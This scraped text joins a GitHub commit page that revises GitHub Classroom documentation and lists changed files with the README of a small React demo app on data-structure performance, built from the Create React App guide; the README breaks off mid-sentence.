classrooms, click the classroom with the assignment you want to review.  {% data reusables.classroom.click-assignment-in-list %} 1. To the right of the submission, click **Review**.  1. Review the pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)." ### Further reading - "[Integrate {% data variables.product.prodname_classroom %} with an IDE](http://localhost:4000/en/free-pro-team@latest/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)" 121 content/education/manage-coursework-with-github-classroom/manage-classrooms.md @@ -0,0 +1,121 @@ --- title: Manage classrooms intro: You can create and manage a classroom for each course that you teach using {% data variables.product.prodname_classroom %}. permissions: Organization owners can manage a classroom for an organization. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/archive-a-classroom --- ### About classrooms {% data reusables.classroom.about-classrooms %}  ### About management of classrooms {% data variables.product.prodname_classroom %} uses organization accounts on {% data variables.product.product_name %} to manage permissions, administration, and security for each classroom that you create. Each organization can have multiple classrooms. After you create a classroom, {% data variables.product.prodname_classroom %} will prompt you to invite teaching assistants (TAs) and admins to the classroom. Each classroom can have one or more admins. Admins can be teachers, TAs, or any other course administrator who you'd like to have control over your classrooms on {% data variables.product.prodname_classroom %}. Invite TAs and admins to your classroom by inviting the user accounts on {% data variables.product.product_name %} to your organization as organization owners and sharing the URL for your classrom. Organization owners can administer any classroom for the organization. For more information, see "[Permission levels for an organization](/github/setting-up-and-managing-organizations-and-teams/permission-levels-for-an-organization)" and "[Inviting users to join your organization](/github/setting-up-and-managing-organizations-and-teams/inviting-users-to-join-your-organization)." When you're done using a classroom, you can archive the classroom and refer to the classroom, roster, and assignments later, or you can delete the classroom if you no longer need the classroom. ### About classroom rosters Each classroom has a roster. A roster is a list of identifiers for the students who participate in your course. When you first share the URL for an assignment with a student, the student must sign into {% data variables.product.product_name %} with a user account to link the user account to an identifier for the classroom. After the student links a user account, you can see the associated user account in the roster. You can also see when the student accepts or submits an assignment.  ### Prerequisites You must have an organization account on {% data variables.product.product_name %} to manage classrooms on {% data variables.product.prodname_classroom %}. For more information, see "[Types of {% data variables.product.company_short %} accounts](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)" and "[Creating a new organization from scratch](/github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch)." You must authorize the OAuth app for {% data variables.product.prodname_classroom %} for your organization to manage classrooms for your organization account. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." ### Creating a classroom {% data reusables.classroom.sign-into-github-classroom %} 1. Click **New classroom**.  {% data reusables.classroom.guide-create-new-classroom %} After you create a classroom, you can begin creating assignments for students. For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." ### Creating a roster for your classroom You can create a roster of the students who participate in your course. If your course already has a roster, you can update the students on the roster or delete the roster. For more information, see "[Adding a student to the roster for your classroom](#adding-students-to-the-roster-for-your-classroom)" or "[Deleting a roster for a classroom](#deleting-a-roster-for-a-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. To connect {% data variables.product.prodname_classroom %} to your LMS and import a roster, click {% octicon "mortar-board" aria-label="The mortar board icon" %} **Import from a learning management system** and follow the instructions. For more information, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)."  1. To create a roster manually, type your student identifiers. Optionally, click **Upload a CSV or text file** to upload a file containing the identifiers.  1. Click **Create roster**.  ### Adding students to the roster for your classroom Your classroom must have an existing roster to add students to the roster. For more information about creating a roster, see "[Creating a roster for your classrom](#creating-a-roster-for-your-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. To the right of "Classroom roster", click **Update students**.  1. Follow the instructions to add students to the roster. - To import students from an LMS, click **Sync from a learning management system**. For more information about importing a roster from an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." - To manually add students, under "Manually add students", click **Upload a CSV or text file** or type the identifiers for the students, then click **Add roster entries**.  ### Renaming a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. Under "Classroom name", type a new name for the classroom.  1. Click **Rename classroom**.  ### Archiving or unarchiving a classroom You can archive a classroom that you no longer use on {% data variables.product.prodname_classroom %}. When you archive a classroom, you can't create new assignments or edit existing assignments for the classroom. Students can't accept invitations to assignments in archived classrooms. {% data reusables.classroom.sign-into-github-classroom %} 1. To the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Archive**.  1. To unarchive a classroom, to the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Unarchive**.  ### Deleting a roster for a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. Under "Delete this roster", click **Delete roster**.  1. Read the warnings, then click **Delete roster**.  ### Deleting a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. To the right of "Delete this classroom", click **Delete classroom**.  1. **Read the warnings**. 1. To verify that you're deleting the correct classroom, type the name of the classroom you want to delete.  1. Click **Delete classroom**.  22 ...on/manage-coursework-with-github-classroom/run-student-code-in-an-online-ide.md @@ -0,0 +1,22 @@ --- title: Run student code in an online IDE intro: You can run the code from a student assignment within the online integrated development environment (IDE) that you configured for the assignment. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/running-student-code --- ### About student code and online IDEs If you configure an online integrated development environment (IDE) for an assignment, you can run the code within the online IDE. You don't need to clone the assignment repository to your computer. For more information about online IDEs, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." ### Running student code in the online IDE {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-assignment-in-list %} 1. To the right of the submission, click **View IDE**.  8 ...ducation/manage-coursework-with-github-classroom/teach-with-github-classroom.md @@ -0,0 +1,8 @@ --- title: Teach with GitHub Classroom intro: Learn how to set up your classroom and assignments. mapTopic: true versions: free-pro-team: '*' --- 93 content/education/manage-coursework-with-github-classroom/use-autograding.md 30 ...t/education/manage-coursework-with-github-classroom/view-autograding-results.md 90 content/education/quickstart.md 1 ...github-education/about-campus-advisors.md → ...github-education/about-campus-advisors.md 1 ...-github-education/about-campus-experts.md → ...-github-education/about-campus-experts.md 1 ...ducation-for-educators-and-researchers.md → ...ducation-for-educators-and-researchers.md 5 ...on/about-github-education-for-students.md → ...on/about-github-education-for-students.md 9 ...ithub-education/about-github-education.md → ...ithub-education/about-github-education.md 5 .../applying-for-a-student-developer-pack.md → ...ion/apply-for-a-student-developer-pack.md 14 ...for-an-educator-or-researcher-discount.md → ...for-an-educator-or-researcher-discount.md 26 content/education/teach-and-learn-with-github-education/index.md 3 ...github-at-your-educational-institution.md → ...github-at-your-educational-institution.md 3 ...ation/using-github-for-your-schoolwork.md → ...ucation/use-github-for-your-schoolwork.md 3 ...-github-in-your-classroom-and-research.md → ...-github-in-your-classroom-and-research.md 5 ...-for-a-student-developer-pack-approved.md → ...-for-a-student-developer-pack-approved.md 3 ...ucator-or-researcher-discount-approved.md → ...ucator-or-researcher-discount-approved.md 20 ...ering-a-repository/enabling-or-disabling-github-discussions-for-a-repository.md 5 content/github/administering-a-repository/index.md 2 content/github/authenticating-to-github/reviewing-your-security-log.md 1 content/github/collaborating-with-issues-and-pull-requests/index.md 74 ...with-issues-and-pull-requests/reviewing-dependency-changes-in-a-pull-request.md 19 ...g-with-issues-and-pull-requests/reviewing-proposed-changes-in-a-pull-request.md 10 content/github/creating-cloning-and-archiving-repositories/about-repositories.md 15 content/github/customizing-your-github-workflow/about-github-marketplace.md 2 content/github/getting-started-with-github/git-and-github-learning-resources.md 4 content/github/getting-started-with-github/github-glossary.md 6 content/github/getting-started-with-github/signing-up-for-a-new-github-account.md 1 content/github/index.md 2 ...b/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies.md 25 ...hub/managing-security-vulnerabilities/about-managing-vulnerable-dependencies.md 1 content/github/managing-security-vulnerabilities/index.md 4 ...nerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository.md 3 ...criptions-and-notifications-on-github/managing-notifications-from-your-inbox.md 6 content/github/managing-your-work-on-github/about-issues.md 3 content/github/searching-for-information-on-github/about-searching-on-github.md 5 content/github/searching-for-information-on-github/index.md 114 content/github/searching-for-information-on-github/searching-discussions.md 2 ...ithub/searching-for-information-on-github/searching-issues-and-pull-requests.md 2 ...nd-managing-billing-and-payments-on-github/about-billing-for-github-sponsors.md 4 ...-billing-and-payments-on-github/discounted-subscriptions-for-github-accounts.md 19 ...ing-up-and-managing-billing-and-payments-on-github/downgrading-a-sponsorship.md 16 ...tting-up-and-managing-billing-and-payments-on-github/upgrading-a-sponsorship.md 4 content/github/setting-up-and-managing-organizations-and-teams/index.md 27 ...and-teams/managing-discussion-creation-for-repositories-in-your-organization.md 25 ...izations-and-teams/managing-updates-from-accounts-your-organization-sponsors.md 3 ...p-and-managing-organizations-and-teams/permission-levels-for-an-organization.md 14 ...ing-organizations-and-teams/repository-permission-levels-for-an-organization.md 86 ...naging-organizations-and-teams/reviewing-the-audit-log-for-your-organization.md 1 content/github/setting-up-and-managing-your-github-user-account/index.md 24 ...etting-up-and-managing-your-github-user-account/managing-your-theme-settings.md 12 content/github/site-policy/github-additional-product-terms.md 8 ...porting-the-open-source-community-with-github-sponsors/about-github-sponsors.md 17 ...community-with-github-sponsors/attributing-sponsorships-to-your-organization.md 28 ...e-open-source-community-with-github-sponsors/changing-your-sponsorship-tiers.md 22 ...th-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account.md 17 ...ting-the-open-source-community-with-github-sponsors/contacting-your-sponsors.md 25 ...munity-with-github-sponsors/editing-your-profile-details-for-github-sponsors.md 1 content/github/supporting-the-open-source-community-with-github-sponsors/index.md 12 ...ce-community-with-github-sponsors/managing-your-payouts-from-github-sponsors.md 18 ...he-open-source-community-with-github-sponsors/managing-your-sponsorship-goal.md 39 ...ing-the-open-source-community-with-github-sponsors/managing-your-sponsorship.md 10 ...munity-with-github-sponsors/setting-up-github-sponsors-for-your-organization.md 10 ...munity-with-github-sponsors/setting-up-github-sponsors-for-your-user-account.md 62 ...-source-community-with-github-sponsors/sponsoring-an-open-source-contributor.md 27 ...source-community-with-github-sponsors/viewing-your-sponsors-and-sponsorships.md 23 content/github/teaching-and-learning-with-github-education/index.md This file was deleted. 7 ...nt/github/visualizing-repository-data-with-graphs/about-the-dependency-graph.md 1 content/github/working-with-github-support/index.md 10 content/graphql/README.md 58 ...tting-started-with-github-container-registry/about-github-container-registry.md This file was deleted. 15 content/packages/getting-started-with-github-container-registry/index.md This file was deleted. 95 content/packages/guides/about-github-container-registry.md 2 ...ol-and-visibility-for-container-images.md → ...ol-and-visibility-for-container-images.md 5 ...che-maven-for-use-with-github-packages.md → ...che-maven-for-use-with-github-packages.md 1 ...ng-docker-for-use-with-github-packages.md → ...ng-docker-for-use-with-github-packages.md 1 ...otnet-cli-for-use-with-github-packages.md → ...otnet-cli-for-use-with-github-packages.md 1 ...ng-gradle-for-use-with-github-packages.md → ...ng-gradle-for-use-with-github-packages.md 1 ...uring-npm-for-use-with-github-packages.md → ...uring-npm-for-use-with-github-packages.md 1 ...-rubygems-for-use-with-github-packages.md → ...-rubygems-for-use-with-github-packages.md 2 ...ting-a-repository-to-a-container-image.md → ...ting-a-repository-to-a-container-image.md 10 content/packages/guides/container-guides-for-github-packages.md 2 ...er-registry/deleting-a-container-image.md → ...ages/guides/deleting-a-container-image.md 2 ...ry/enabling-improved-container-support.md → ...es/enabling-improved-container-support.md 33 content/packages/guides/index.md 2 ...b-container-registry-for-docker-images.md → ...b-container-registry-for-docker-images.md 10 content/packages/guides/package-client-guides-for-github-packages.md 2 ...stry/pushing-and-pulling-docker-images.md → ...ides/pushing-and-pulling-docker-images.md 1 ...ng-github-packages-with-github-actions.md → ...ng-github-packages-with-github-actions.md 46 content/packages/index.md 60 ...anaging-packages/about-github-packages.md → ...-github-packages/about-github-packages.md 13 ...concepts-for-github-container-registry.md → ...ages/core-concepts-for-github-packages.md 16 content/packages/learn-github-packages/index.md 1 ...managing-packages/publishing-a-package.md → ...n-github-packages/publishing-a-package.md 3 ...d-managing-packages/deleting-a-package.md → ...ges/manage-packages/deleting-a-package.md 8 ...publishing-and-managing-packages/index.md → content/packages/manage-packages/index.md 1 ...managing-packages/installing-a-package.md → ...s/manage-packages/installing-a-package.md 1 ...and-managing-packages/viewing-packages.md → ...kages/manage-packages/viewing-packages.md 11 content/packages/managing-container-images-with-github-container-registry/index.md This file was deleted. 109 content/packages/quickstart.md 20 content/packages/using-github-packages-with-your-projects-ecosystem/index.md This file was deleted. 10 content/rest/README.md 18 content/rest/overview/resources-in-the-rest-api.md 2 content/rest/overview/troubleshooting.md 10 content/rest/reference/enterprise-admin.md 2 data/products.yml 2 data/reusables/accounts/create-account.md 2 data/reusables/actions/actions-not-verified.md 7 data/reusables/actions/visualization-beta.md 5 data/reusables/audit_log/audit-log-api-info.md 1 data/reusables/audit_log/audit-log-git-events-retention.md 1 data/reusables/classroom/about-assignments.md 1 data/reusables/classroom/about-autograding.md 1 data/reusables/classroom/about-classrooms.md 1 data/reusables/classroom/about-online-ides.md 1 data/reusables/classroom/assignments-classroom-prerequisite.md 2 data/reusables/classroom/assignments-click-pencil.md 1 data/reusables/classroom/assignments-group-definition.md 5 data/reusables/classroom/assignments-guide-assign-a-deadline.md 5 data/reusables/classroom/assignments-guide-choose-an-online-ide.md 5 data/reusables/classroom/assignments-guide-choose-template-repository.md 9 data/reusables/classroom/assignments-guide-choose-visibility.md 7 data/reusables/classroom/assignments-guide-click-continue-after-basics.md 7 ...s/classroom/assignments-guide-click-continue-after-starter-code-and-feedback.md 5 data/reusables/classroom/assignments-guide-click-create-assignment-button.md 5 data/reusables/classroom/assignments-guide-create-review-pull-request.md 5 data/reusables/classroom/assignments-guide-create-the-assignment.md 1 data/reusables/classroom/assignments-guide-intro-for-environment.md 3 data/reusables/classroom/assignments-guide-invite-students-to-assignment.md 7 data/reusables/classroom/assignments-guide-prevent-changes.md 23 data/reusables/classroom/assignments-guide-using-autograding.md 1 data/reusables/classroom/assignments-individual-definition.md 1 data/reusables/classroom/assignments-to-prevent-submission.md 5 data/reusables/classroom/assignments-type-a-title.md 1 data/reusables/classroom/classroom-creates-group-repositories.md 1 data/reusables/classroom/classroom-creates-individual-repositories.md 1 data/reusables/classroom/classroom-enables-invitation-urls.md 2 data/reusables/classroom/click-assignment-in-list.md 2 data/reusables/classroom/click-classroom-in-list.md 2 data/reusables/classroom/click-settings.md 2 data/reusables/classroom/click-students.md 1 data/reusables/classroom/for-more-information-about-assignment-creation.md 6 data/reusables/classroom/guide-create-new-classroom.md 5 data/reusables/classroom/invitation-url-warning.md 1 data/reusables/classroom/readme-contains-button-for-online-ide.md 1 data/reusables/classroom/sign-into-github-classroom.md 1 data/reusables/classroom/use-add-test-drop-down-to-click-grading-method.md 1 data/reusables/classroom/you-can-choose-a-template-repository.md 1 data/reusables/classroom/you-can-create-a-pull-request-for-feedback.md 1 data/reusables/classroom/you-may-want-to-predefine-repository-settings.md 1 data/reusables/discussions/about-categories-and-formats.md 1 data/reusables/discussions/about-discussions.md 5 data/reusables/discussions/beta.md 2 data/reusables/discussions/click-discussion-in-list.md 2 data/reusables/discussions/discussions-tab.md 2 data/reusables/discussions/edit-categories.md 1 data/reusables/discussions/edit-category-details.md 8 ...les/discussions/enabling-or-disabling-github-discussions-for-your-repository.md 1 data/reusables/discussions/github-recognizes-members.md 16 data/reusables/discussions/marking-a-comment-as-an-answer.md 1 data/reusables/discussions/repository-category-limit.md 10 data/reusables/discussions/starting-a-discussion.md 1 data/reusables/discussions/you-can-categorize-discussions.md 1 data/reusables/discussions/you-can-convert-an-issue.md 1 data/reusables/discussions/you-can-use-discussions.md 1 data/reusables/discussions/you-cannot-convert-a-discussion.md 2 data/reusables/education/about-github-education-link.md 2 data/reusables/education/apply-for-team.md 2 data/reusables/education/click-get-teacher-benefits.md 6 data/reusables/education/educator-requirements.md 1 data/reusables/gated-features/discussions.md 1 data/reusables/marketplace/app-transfer-to-org-for-verification.md 5 data/reusables/marketplace/free-plan-note.md 2 data/reusables/marketplace/launch-with-free.md 8 data/reusables/marketplace/marketplace-billing-ui-requirements.md 2 data/reusables/package_registry/billing-for-container-registry.md 2 data/reusables/package_registry/container-registry-beta-billing-note.md 2 data/reusables/package_registry/container-registry-beta.md 2 data/reusables/package_registry/docker_registry_deprecation_status.md 2 data/reusables/package_registry/feature-preview-for-container-registry.md 2 data/reusables/package_registry/required-scopes.md 2 data/reusables/package_registry/viewing-packages.md 3 data/reusables/repositories/dependency-review.md 7 data/reusables/repositories/navigate-to-job-superlinter.md 4 data/reusables/repositories/view-failed-job-results-superlinter.md 4 data/reusables/repositories/view-specific-line-superlinter.md 2 data/reusables/search/date_gt_lt.md 2 data/reusables/sponsors/billing-switcher.md 2 data/reusables/sponsors/change-tier.md 2 data/reusables/sponsors/choose-updates.md 2 data/reusables/sponsors/developer-sponsored-choose-updates.md This file was deleted. 4 data/reusables/sponsors/manage-developer-sponsorship.md This file was deleted. 4 data/reusables/sponsors/manage-org-sponsorship.md This file was deleted. 2 data/reusables/sponsors/manage-sponsorship.md 1 data/reusables/sponsors/manage-updates-for-orgs.md 2 data/reusables/sponsors/maximum-tier.md 4 data/reusables/sponsors/navigate-to-org-sponsors-dashboard.md This file was deleted. 2 ...onsors/navigate-to-sponsored-developer.md → ...sponsors/navigate-to-sponsored-account.md 1 data/reusables/sponsors/navigate-to-sponsored-org.md This file was deleted. 2 ...ors/navigate-to-dev-sponsors-dashboard.md → ...ponsors/navigate-to-sponsors-dashboard.md 2 data/reusables/sponsors/no-fees.md 5 data/reusables/sponsors/org-sponsors-release-phase.md 2 data/reusables/sponsors/pay-prorated-amount.md 2 data/reusables/sponsors/prorated-sponsorship.md 2 data/reusables/sponsors/sponsor-account.md 7 data/reusables/sponsors/sponsorship-dashboard.md 2 data/reusables/sponsors/sponsorship-details.md 1 data/reusables/webhooks/app_always_desc.md 3 data/ui.yml 7 data/variables/action_code_examples.yml 37 data/variables/discussions_community_examples.yml 6 data/variables/product.yml 21 includes/all-articles.html 4 includes/breadcrumbs.html 2 includes/code-example-card.html 14 includes/discussions-community-card.html 2 includes/header-notification.html 90 javascripts/filter-cards.js 92 javascripts/filter-code-examples.js This file was deleted. 4 javascripts/index.js 64 layouts/product-landing.html 68 lib/data-directory.js 28 lib/filename-to-key.js 7 lib/frontmatter.js 2 lib/liquid-tags/data.js 25 lib/page.js 54 lib/pages.js 21 lib/redirects/get-docs-path-from-developer-path.js 41 lib/redirects/precompile.js 231 lib/rest/static/decorated/api.github.com.json 495 lib/rest/static/dereferenced/api.github.com.deref.json 17 lib/rewrite-local-links.js 10 lib/site-data.js 24 lib/warm-server.js 5 middleware/breadcrumbs.js 38 middleware/categories-for-support-team.js 6 middleware/contextualizers/early-access-links.js 103 middleware/csp.js 69 middleware/early-access-breadcrumbs.js 1 middleware/index.js 45 package-lock.json 3 package.json 4 script/check-s3-images.js 4 script/early-access/clone-locally 41 script/early-access/create-branch 7 server.js 2 stylesheets/article.scss 4 tests/browser/browser.js 10 tests/content/category-pages.js 2 tests/content/crowdin-config.js 3 tests/content/featured-links.js 5 tests/content/glossary.js 42 tests/content/remove-liquid-statements.js 39 tests/content/site-data-references.js 4 tests/content/site-data.js 22 tests/fixtures/rest-redirects.json 10 tests/graphql/build-changelog-test.js 9 tests/helpers/conditional-runs.js 20 tests/meta/orphan-tests.js 23 tests/rendering/breadcrumbs.js 4 tests/rendering/rest.js 3 tests/rendering/server.js 47 tests/routing/developer-site-redirects.js 10 tests/routing/redirects.js 15 tests/unit/data-directory/filename-to-key.js 1 tests/unit/data-directory/fixtures/README.md 1 tests/unit/data-directory/fixtures/bar.yaml 1 tests/unit/data-directory/fixtures/foo.json 1 tests/unit/data-directory/fixtures/nested/baz.md 40 tests/unit/data-directory/index.js 19 tests/unit/early-access.js 4 tests/unit/find-page.js 57 tests/unit/liquid-helpers.js 140 tests/unit/page.js 2 tests/unit/pages.js 0 comments on commit 1a56ed1 Leave a comment You’re not receiving notifications from this thread. © 2021 GitHub, Inc. Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About

# big-o-performance A simple html app to demonstrate performance costs of data structures. - Clone the project - Navigate to the root of the project in a termina or command prompt - Run 'npm install' - Run 'npm start' - Go to the URL specified in the terminal or command prompt to try out the app. # This app was created from the Create React App NPM. Below are instructions from that project. Below you will find some information on how to perform common tasks. You can find the most recent version of this guide [here](https://github.com/facebookincubator/create-react-app/blob/master/template/README.md). ## Table of Contents - [Updating to New Releases](#updating-to-new-releases) - [Sending Feedback](#sending-feedback) - [Folder Structure](#folder-structure) - [Available Scripts](#available-scripts) - [npm start](#npm-start) - [npm run build](#npm-run-build) - [npm run eject](#npm-run-eject) - [Displaying Lint Output in the Editor](#displaying-lint-output-in-the-editor) - [Installing a Dependency](#installing-a-dependency) - [Importing a Component](#importing-a-component) - [Adding a Stylesheet](#adding-a-stylesheet) - [Post-Processing CSS](#post-processing-css) - [Adding Images and Fonts](#adding-images-and-fonts) - [Adding Bootstrap](#adding-bootstrap) - [Adding Flow](#adding-flow) - [Adding Custom Environment Variables](#adding-custom-environment-variables) - [Integrating with a Node Backend](#integrating-with-a-node-backend) - [Proxying API Requests in Development](#proxying-api-requests-in-development) - [Deployment](#deployment) - [Now](#now) - [Heroku](#heroku) - [Surge](#surge) - [GitHub Pages](#github-pages) - [Something Missing?](#something-missing) ## Updating to New Releases Create React App is divided into two packages: * `create-react-app` is a global command-line utility that you use to create new projects. * `react-scripts` is a development dependency in the generated projects (including this one). You almost never need to update `create-react-app` itself: it’s delegates all the setup to `react-scripts`. When you run `create-react-app`, it always creates the project with the latest version of `react-scripts` so you’ll get all the new features and improvements in newly created apps automatically. To update an existing project to a new version of `react-scripts`, [open the changelog](https://github.com/facebookincubator/create-react-app/blob/master/CHANGELOG.md), find the version you’re currently on (check `package.json` in this folder if you’re not sure), and apply the migration instructions for the newer versions. In most cases bumping the `react-scripts` version in `package.json` and running `npm install` in this folder should be enough, but it’s good to consult the [changelog](https://github.com/facebookincubator/create-react-app/blob/master/CHANGELOG.md) for potential breaking changes. We commit to keeping the breaking changes minimal so you can upgrade `react-scripts` painlessly. ## Sending Feedback We are always open to [your feedback](https://github.com/facebookincubator/create-react-app/issues). ## Folder Structure After creation, your project should look like this: ``` my-app/ README.md index.html favicon.ico node_modules/ package.json src/ App.css App.js index.css index.js logo.svg ``` For the project to build, **these files must exist with exact filenames**: * `index.html` is the page template; * `favicon.ico` is the icon you see in the browser tab; * `src/index.js` is the JavaScript entry point. You can delete or rename the other files. You may create subdirectories inside `src`. For faster rebuilds, only files inside `src` are processed by Webpack. You need to **put any JS and CSS files inside `src`**, or Webpack won’t see them. You can, however, create more top-level directories. They will not be included in the production build so you can use them for things like documentation. ## Available Scripts In the project directory, you can run: ### `npm start` Runs the app in the development mode.<br> Open [http://localhost:3000](http://localhost:3000) to view it in the browser. The page will reload if you make edits.<br> You will also see any lint errors in the console. ### `npm run build` Builds the app for production to the `build` folder.<br> It correctly bundles React in production mode and optimizes the build for the best performance. The build is minified and the filenames include the hashes.<br> Your app is ready to be deployed! ### `npm run eject` **Note: this is a one-way operation. Once you `eject`, you can’t go back!** If you aren’t satisfied with the build tool and configuration choices, you can `eject` at any time. This command will remove the single build dependency from your project. Instead, it will copy all the configuration files and the transitive dependencies (Webpack, Babel, ESLint, etc) right into your project so you have full control over them. All of the commands except `eject` will still work, but they will point to the copied scripts so you can tweak them. At this point you’re on your own. You don’t have to ever use `eject`. The curated feature set is suitable for small and middle deployments, and you shouldn’t feel obligated to use this feature. However we understand that this tool wouldn’t be useful if you couldn’t customize it when you are ready for it. ## Displaying Lint Output in the Editor >Note: this feature is available with `react-scripts@0.2.0` and higher. Some editors, including Sublime Text, Atom, and Visual Studio Code, provide plugins for ESLint. They are not required for linting. You should see the linter output right in your terminal as well as the browser console. However, if you prefer the lint results to appear right in your editor, there are some extra steps you can do. You would need to install an ESLint plugin for your editor first. >**A note for Atom `linter-eslint` users** >If you are using the Atom `linter-eslint` plugin, make sure that **Use global ESLint installation** option is checked: ><img src="http://i.imgur.com/yVNNHJM.png" width="300"> Then make sure `package.json` of your project ends with this block: ```js { // ... "eslintConfig": { "extends": "./node_modules/react-scripts/config/eslint.js" } } ``` Projects generated with `react-scripts@0.2.0` and higher should already have it. If you don’t need ESLint integration with your editor, you can safely delete those three lines from your `package.json`. Finally, you will need to install some packages *globally*: ```sh npm install -g eslint babel-eslint eslint-plugin-react eslint-plugin-import eslint-plugin-jsx-a11y eslint-plugin-flowtype ``` We recognize that this is suboptimal, but it is currently required due to the way we hide the ESLint dependency. The ESLint team is already [working on a solution to this](https://github.com/eslint/eslint/issues/3458) so this may become unnecessary in a couple of months. ## Installing a Dependency The generated project includes React and ReactDOM as dependencies. It also includes a set of scripts used by Create React App as a development dependency. You may install other dependencies (for example, React Router) with `npm`: ``` npm install --save <library-name> ``` ## Importing a Component This project setup supports ES6 modules thanks to Babel. While you can still use `require()` and `module.exports`, we encourage you to use [`import` and `export`](http://exploringjs.com/es6/ch_modules.html) instead. For example: ### `Button.js` ```js import React, { Component } from 'react'; class Button extends Component { render() { // ... } } export default Button; // Don’t forget to use export default! ``` ### `DangerButton.js` ```js import React, { Component } from 'react'; import Button from './Button'; // Import a component from another file class DangerButton extends Component { render() { return <Button color="red" />; } } export default DangerButton; ``` Be aware of the [difference between default and named exports](http://stackoverflow.com/questions/36795819/react-native-es-6-when-should-i-use-curly-braces-for-import/36796281#36796281). It is a common source of mistakes. We suggest that you stick to using default imports and exports when a module only exports a single thing (for example, a component). That’s what you get when you use `export default Button` and `import Button from './Button'`. Named exports are useful for utility modules that export several functions. A module may have at most one default export and as many named exports as you like. Learn more about ES6 modules: * [When to use the curly braces?](http://stackoverflow.com/questions/36795819/react-native-es-6-when-should-i-use-curly-braces-for-import/36796281#36796281) * [Exploring ES6: Modules](http://exploringjs.com/es6/ch_modules.html) * [Understanding ES6: Modules](https://leanpub.com/understandinges6/read#leanpub-auto-encapsulating-code-with-modules) ## Adding a Stylesheet This project setup uses [Webpack](https://webpack.github.io/) for handling all assets. Webpack offers a custom way of “extending” the concept of `import` beyond JavaScript. To express that a JavaScript file depends on a CSS file, you need to **import the CSS from the JavaScript file**: ### `Button.css` ```css .Button { padding: 20px; } ``` ### `Button.js` ```js import React, { Component } from 'react'; import './Button.css'; // Tell Webpack that Button.js uses these styles class Button extends Component { render() { // You can use them as regular CSS styles return <div className="Button" />; } } ``` **This is not required for React** but many people find this feature convenient. You can read about the benefits of this approach [here](https://medium.com/seek-ui-engineering/block-element-modifying-your-javascript-components-d7f99fcab52b). However you should be aware that this makes your code less portable to other build tools and environments than Webpack. In development, expressing dependencies this way allows your styles to be reloaded on the fly as you edit them. In production, all CSS files will be concatenated into a single minified `.css` file in the build output. If you are concerned about using Webpack-specific semantics, you can put all your CSS right into `src/index.css`. It would still be imported from `src/index.js`, but you could always remove that import if you later migrate to a different build tool. ## Post-Processing CSS This project setup minifies your CSS and adds vendor prefixes to it automatically through [Autoprefixer](https://github.com/postcss/autoprefixer) so you don’t need to worry about it. For example, this: ```css .App { display: flex; flex-direction: row; align-items: center; } ``` becomes this: ```css .App { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; -ms-flex-direction: row; flex-direction: row; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } ``` There is currently no support for preprocessors such as Less, or for sharing variables across CSS files. ## Adding Images and Fonts With Webpack, using static assets like images and fonts works similarly to CSS. You can **`import` an image right in a JavaScript module**. This tells Webpack to include that image in the bundle. Unlike CSS imports, importing an image or a font gives you a string value. This value is the final image path you can reference in your code. Here is an example: ```js import React from 'react'; import logo from './logo.png'; // Tell Webpack this JS file uses this image console.log(logo); // /logo.84287d09.png function Header() { // Import result is the URL of your image return <img src={logo} alt="Logo" />; } export default function Header; ``` This works in CSS too: ```css .Logo { background-image: url(./logo.png); } ``` Webpack finds all relative module references in CSS (they start with `./`) and replaces them with the final paths from the compiled bundle. If you make a typo or accidentally delete an important file, you will see a compilation error, just like when you import a non-existent JavaScript module. The final filenames in the compiled bundle are generated by Webpack from content hashes. If the file content changes in the future, Webpack will give it a different name in production so you don’t need to worry about long-term caching of assets. Please be advised that this is also a custom feature of Webpack. **It is not required for React** but many people enjoy it (and React Native uses a similar mechanism for images). However it may not be portable to some other environments, such as Node.js and Browserify. If you prefer to reference static assets in a more traditional way outside the module system, please let us know [in this issue](https://github.com/facebookincubator/create-react-app/issues/28), and we will consider support for this. ## Adding Bootstrap You don’t have to use [React Bootstrap](https://react-bootstrap.github.io) together with React but it is a popular library for integrating Bootstrap with React apps. If you need it, you can integrate it with Create React App by following these steps: Install React Bootstrap and Bootstrap from NPM. React Bootstrap does not include Bootstrap CSS so this needs to be installed as well: ``` npm install react-bootstrap --save npm install bootstrap@3 --save ``` Import Bootstrap CSS and optionally Bootstrap theme CSS in the ```src/index.js``` 